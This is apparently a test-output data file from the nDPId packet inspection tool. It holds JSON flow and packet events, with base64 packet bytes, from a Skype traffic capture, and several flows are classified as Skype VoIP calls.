+00437{"flow_id":73,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1035,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970672,"pkt_ts_usec":360182,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0q\/xAADYGTjKdN+uTwKgBIgG7yCZm7ux88c+cxIARAB3RYQAAAQEICkxgXDQ+McgA"} +00486{"flow_id":157,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1036,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970672,"pkt_ts_usec":386553,"pkt_caplen":100,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":100,"pkt_l4_len":66,"pkt":"0NQSxnP1PBXCt3IOCABFAABWYEZAAEAGWybAqAEib91Njsg7Abv27otpEKH0yoAYECz2jgAAAQEICj4yGX9NkBZ5b6tnM5g+MIH9ugWQ4EK6dUZuKY7n+8BcqJBKLNao313kcQ=="} +00449{"flow_id":149,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1037,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970672,"pkt_ts_usec":413734,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8HbNAAEAG0cbAqAEi1cezsMg6nFWOWkflXYl5QIAYECo3igAAAQEICj4yGZpO3n48uQiwNY7rtQs="} +00468{"flow_id":167,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1038,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970672,"pkt_ts_usec":443404,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"0NQSxnP1PBXCt3IOCABFAABLqkkAAEARTOXAqAEiwKgBAdo6ADUAN4ffpXsBAAABAAAAAAAABHBpcGUDcHJkCXNreXBlZGF0YQZha2FkbnMDbmV0AAAcAAE="} +00468{"flow_id":166,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1039,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970672,"pkt_ts_usec":443526,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"0NQSxnP1PBXCt3IOCABFAABLc8IAAEARg2zAqAEiwKgBAe6nADUAN3lCuqsBAAABAAAAAAAABHBpcGUDcHJkCXNreXBlZGF0YQZha2FkbnMDbmV0AAABAAE="} +00436{"flow_id":175,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1040,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970672,"pkt_ts_usec":625182,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0BEBAADcGw8pv3UoSwKgBIpxZyEOVl6lzAf6GuYAQAB18YgAAAQEICk12rTM+MhlI"} +00575{"flow_id":175,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1041,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970672,"pkt_ts_usec":626510,"pkt_caplen":164,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":164,"pkt_l4_len":130,"pkt":"PBXCt3IO0NQSxnP1CABFAACWBEFAADcGw2dv3UoSwKgBIpxZyEOVl6lzAf6GuYAYAB3qkwAAAQEICk12rTQ+MhlI25VlLaIMnxH1O7G0LWlkeL2m3P\/jQwKEDXBYIc7BU7grvm3ixARg4gvlu54WDc1aZ+xtumO4yWYfROXSm5DB\/tecXerTaLmWj\/TVAgtAsS5HTE0aQxipxv+kxTJ78KFet\/w="} +00437{"flow_id":175,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1042,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970672,"pkt_ts_usec":626575,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0DZNAAEAGsXfAqAEib91KEshDnFkB\/oa5lZep1YAQEChqzgAAAQEICj4yGm5Ndq00"} +00449{"flow_id":175,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1043,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970672,"pkt_ts_usec":627112,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8aOBAAEAGViLAqAEib91KEshDnFkB\/oa5lZep1YAYEChK0gAAAQEICj4yGm5Ndq00xUaEJw2DyPo="} +00521{"flow_id":159,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1044,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970672,"pkt_ts_usec":664961,"pkt_caplen":126,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":126,"pkt_l4_len":92,"pkt":"0NQSxnP1PBXCt3IOCABFAABw\/flAAEAG8eHAqAEinTfrqsg9AbvoZ1rM+umGlIAYECw\/tAAAAQEICj4yGpRMVnGKp9iYwrlcLUTfptpUQ9HnlFyq2KvXjkAGnxSlIXPZFxPNf26I7IG6HpdVzoKbtM+2y58XZOdHADBnVSgw"} +00449{"flow_id":146,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1045,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970672,"pkt_ts_usec":669651,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8hKtAAEAG1IDAqAEinTeCjsg3nEXoG0gEyGJx5oAYECqw9wAAAQEICj4yGphOwLXQr3KT27Tir4g="} +00486{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1046,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":176,"flow_packet_id":1,"flow_first_seen":1431970672959,"flow_last_seen":0,"flow_tot_l4_data_len":33,"flow_min_l4_data_len":33,"flow_max_l4_data_len":33,"flow_avg_l4_data_len":33,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.140","src_port":13021,"dst_port":40003,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00441{"flow_id":176,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1046,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970672,"pkt_ts_usec":959482,"pkt_caplen":67,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":67,"pkt_l4_len":33,"pkt":"0NQSxnP1PBXCt3IOCABFAAA1S7cAAEARFafAqAEiQAQXjDLdnEMAIfDFe4sC3LQi2HlVtL\/yF355PoVbgc9yifdOBA=="} +00526{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1046,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":176,"flow_packet_id":1,"flow_first_seen":1431970672959,"flow_last_seen":0,"flow_tot_l4_data_len":33,"flow_min_l4_data_len":33,"flow_max_l4_data_len":33,"flow_avg_l4_data_len":33,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.140","src_port":13021,"dst_port":40003,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00486{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1047,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":177,"flow_packet_id":1,"flow_first_seen":1431970672959,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.158","src_port":13021,"dst_port":40021,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00452{"flow_id":177,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1047,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970672,"pkt_ts_usec":959483,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":76,"pkt_l4_len":42,"pkt":"0NQSxnP1PBXCt3IOCABFAAA+TFEAAEARFPLAqAEiQAQXnjLdnFUAKkRXe40CBN0haY4HfyNbFaIJe0md26M72eisE+NIO7kZgnvi7w=="} +00526{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1047,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":177,"flow_packet_id":1,"flow_first_seen":1431970672959,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.158","src_port":13021,"dst_port":40021,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00437{"flow_id":109,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1048,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970672,"pkt_ts_usec":959654,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0YTBAAEAGWj3AqAEib91Nr8gwnF4IVe1L0FEsUoARECkGfQAAAQEICj4yG7pNo+Jb"} +00437{"flow_id":120,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1049,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970672,"pkt_ts_usec":959654,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0aYhAAEAGUeXAqAEib91Nr8gyAbuh2H5gZdpOV4ARECy9VAAAAQEICj4yG7pNo+P8"} +00452{"flow_id":155,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1050,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970673,"pkt_ts_usec":547534,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAtKcAAEARQpLAqAEiwKgBAfduADUALM6fTeoBAAABAAAAAAAAAWIGY29uZmlnBXNreXBlA2NvbQAAAQAB"} +00452{"flow_id":156,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1051,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970673,"pkt_ts_usec":547671,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAitYAAEARbGPAqAEiwKgBAfsCADUALD+l2TUBAAABAAAAAAAAAWIGY29uZmlnBXNreXBlA2NvbQAAHAAB"} +00486{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1052,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":178,"flow_packet_id":1,"flow_first_seen":1431970673563,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.18","src_port":51268,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00454{"flow_id":178,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1052,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970673,"pkt_ts_usec":563758,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABApWxAAEAGGZLAqAEib91KEshEAbuPHWWLAAAAALAC\/\/+gUwAAAgQFtAEDAwUBAQgKPjIeFQAAAAAEAgAA"} +00451{"flow_id":148,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1053,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970673,"pkt_ts_usec":569860,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8Q3BAAEAGrJ\/AqAEinTfrqsg5nGDRQCMtGayygYAYEChreQAAAQEICj4yHhtMVm\/1OYUqH2Q1qrY="} +00449{"flow_id":147,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1054,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970673,"pkt_ts_usec":878144,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8UDxAAEAGa0rAqAEib91Njsg4nE30S7wpxRcMPYAYECkS5gAAAQEICj4yH09NkBTphTv5WfSZuu0="} +00449{"flow_id":178,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1055,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970673,"pkt_ts_usec":880130,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADcGyAJv3UoSwKgBIgG7yEQiaEt4jx1ljKASOJAO\/AAAAgQFrAQCCApNdq5oPjIeFQEDAwk="} +00436{"flow_id":178,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1056,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970673,"pkt_ts_usec":880260,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0gVFAAEAGPbnAqAEib91KEshEAbuPHWWMImhLeYAQECxk6gAAAQEICj4yH1FNdq5o"} +00535{"flow_id":178,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1057,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970673,"pkt_ts_usec":880324,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"0NQSxnP1PBXCt3IOCABFAAB8stpAAEAGC+jAqAEib91KEshEAbuPHWWMImhLeYAYECwvmAAAAQEICj4yH1FNdq5ogEYBAwEALQAAABAAAAUAAAQAAAoAAAkAAGQAAGIAAAgAAAMAAAYBAIAHAMADAIAGAEACAIAEAID2b1S1YuugkY4nrC16I3iJ"} +00490{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1058,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":179,"flow_packet_id":1,"flow_first_seen":1431970673966,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.175","src_port":51269,"dst_port":40029,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00454{"flow_id":179,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1058,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970673,"pkt_ts_usec":966269,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAY6tAAEAGi8vAqAEi1cezr8hFnF3LCMFlAAAAALAC\/\/+c0QAAAgQFtAEDAwUBAQgKPjIfpgAAAAAEAgAA"} +00489{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1059,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":180,"flow_packet_id":1,"flow_first_seen":1431970673970,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.171","src_port":13021,"dst_port":40006,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00436{"flow_id":180,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1059,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970673,"pkt_ts_usec":970845,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0vU0AAEARcr7AqAEinTfrqzLdnEYAIOCne48C+j3UCj6Khrhd65pIazZgrSV3BW0j"} +00529{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1059,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":180,"flow_packet_id":1,"flow_first_seen":1431970673970,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.171","src_port":13021,"dst_port":40006,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00489{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1060,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":181,"flow_packet_id":1,"flow_first_seen":1431970673970,"flow_last_seen":0,"flow_tot_l4_data_len":38,"flow_min_l4_data_len":38,"flow_max_l4_data_len":38,"flow_avg_l4_data_len":38,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.173","src_port":13021,"dst_port":40003,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":181,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1060,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970673,"pkt_ts_usec":970845,"pkt_caplen":72,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":72,"pkt_l4_len":38,"pkt":"0NQSxnP1PBXCt3IOCABFAAA6zOQAAEARzB\/AqAEinTeCrTLdnEMAJgAFe5ECW1GQc626NgViJqEYKjead5HrxbDyRckYY2Mu"} +00529{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1060,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":181,"flow_packet_id":1,"flow_first_seen":1431970673970,"flow_last_seen":0,"flow_tot_l4_data_len":38,"flow_min_l4_data_len":38,"flow_max_l4_data_len":38,"flow_avg_l4_data_len":38,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.173","src_port":13021,"dst_port":40003,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00488{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1061,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":182,"flow_packet_id":1,"flow_first_seen":1431970673970,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.56.143","src_port":13021,"dst_port":40018,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00436{"flow_id":182,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1061,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970673,"pkt_ts_usec":970905,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA08VkAAEAR8c7AqAEinTc4jzLdnFIAIGspe5MC1RnFiDDpE1Hd7iM493fNRlWzMToF"} +00528{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1061,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":182,"flow_packet_id":1,"flow_first_seen":1431970673970,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.56.143","src_port":13021,"dst_port":40018,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00447{"flow_id":179,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1062,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970674,"pkt_ts_usec":18578,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADgG93rVx7OvwKgBIpxdyEUu77fnywjBZqASOJAmdQAAAgQFrAQCCApO3xkOPjIfpgEDAwk="} +00435{"flow_id":179,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1063,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970674,"pkt_ts_usec":18641,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0ax5AAEAGhGTAqAEi1cezr8hFnF3LCMFmLu+36IAQECx9awAAAQEICj4yH9pO3xkO"} +00571{"flow_id":179,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1064,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970674,"pkt_ts_usec":19041,"pkt_caplen":164,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":164,"pkt_l4_len":130,"pkt":"0NQSxnP1PBXCt3IOCABFAACWN0BAAEAGt+DAqAEi1cezr8hFnF3LCMFmLu+36IAYECxWSwAAAQEICj4yH9pO3xkOsFDI7qsei964fUMEnfCOjiSi3+qAd86vtj0EFy+5edQ39AzLjWycx6MsRrBZOBFqVxzdalPoORYPdFWCi8AxrsfMzZrDmClGfyRFsvtwId43fL3KM0gZdu\/UNeJrIBEOpyw="} +00437{"flow_id":179,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1065,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970674,"pkt_ts_usec":70224,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0rvNAADgGSI\/Vx7OvwKgBIpxdyEUu77foywjByIAQAB2NCwAAAQEICk7fGRs+Mh\/a"} +00510{"flow_id":179,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1066,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970674,"pkt_ts_usec":70857,"pkt_caplen":119,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":119,"pkt_l4_len":85,"pkt":"PBXCt3IO0NQSxnP1CABFAABprvRAADgGSFnVx7OvwKgBIpxdyEUu77foywjByIAYAB2X1gAAAQEICk7fGRs+Mh\/a10zihGPDSRCbV6jDTtE4bVGX24cAHsNTafnkYvrKcBxqv+1jBM1o79Sp1GinOXJA79Q14ms="} +00435{"flow_id":179,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1067,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970674,"pkt_ts_usec":70922,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0yB9AAEAGJ2PAqAEi1cezr8hFnF3LCMHILu+4HYAQECp8lgAAAQEICj4yIA1O3xkb"} +00447{"flow_id":179,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1068,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970674,"pkt_ts_usec":71461,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8UydAAEAGnFPAqAEi1cezr8hFnF3LCMHILu+4HYAYECofZQAAAQEICj4yIA5O3xkb8jl+H1rFkgE="} +00535{"flow_id":108,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1069,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970674,"pkt_ts_usec":143732,"pkt_caplen":135,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":135,"pkt_l4_len":101,"pkt":"0NQSxnP1PBXCt3IOCABFAAB51rtAAEAG0JTAqAEinTg0LMgvAbu6eq6k7rH\/TIAZECxHCwAAAQEICj4yIFVMaAB9rs4rj\/Zn4y1sqwdIy3afkOEmLBspD4c0rMSeRLd9b91SLsTSeHa0jfo08XXIbE1KDwebW7o1FbLX0Wq5X\/ZmIfUdu0eE"} +00436{"flow_id":178,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1070,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970674,"pkt_ts_usec":174441,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA05c5AADcG4jtv3UoSwKgBIgG7yEQiaEt5jx1l1IAQAB10YgAAAQEICk12rrc+Mh9R"} +00469{"flow_id":178,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1071,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970674,"pkt_ts_usec":174509,"pkt_caplen":90,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":90,"pkt_l4_len":56,"pkt":"0NQSxnP1PBXCt3IOCABFAABM7cdAAEAG0SrAqAEib91KEshEAbuPHWXUImhLeYAYECwwLwAAAQEICj4yIHNNdq638u7zvxiLk1N\/bk90UuwO7GFozw5RA+4e"} 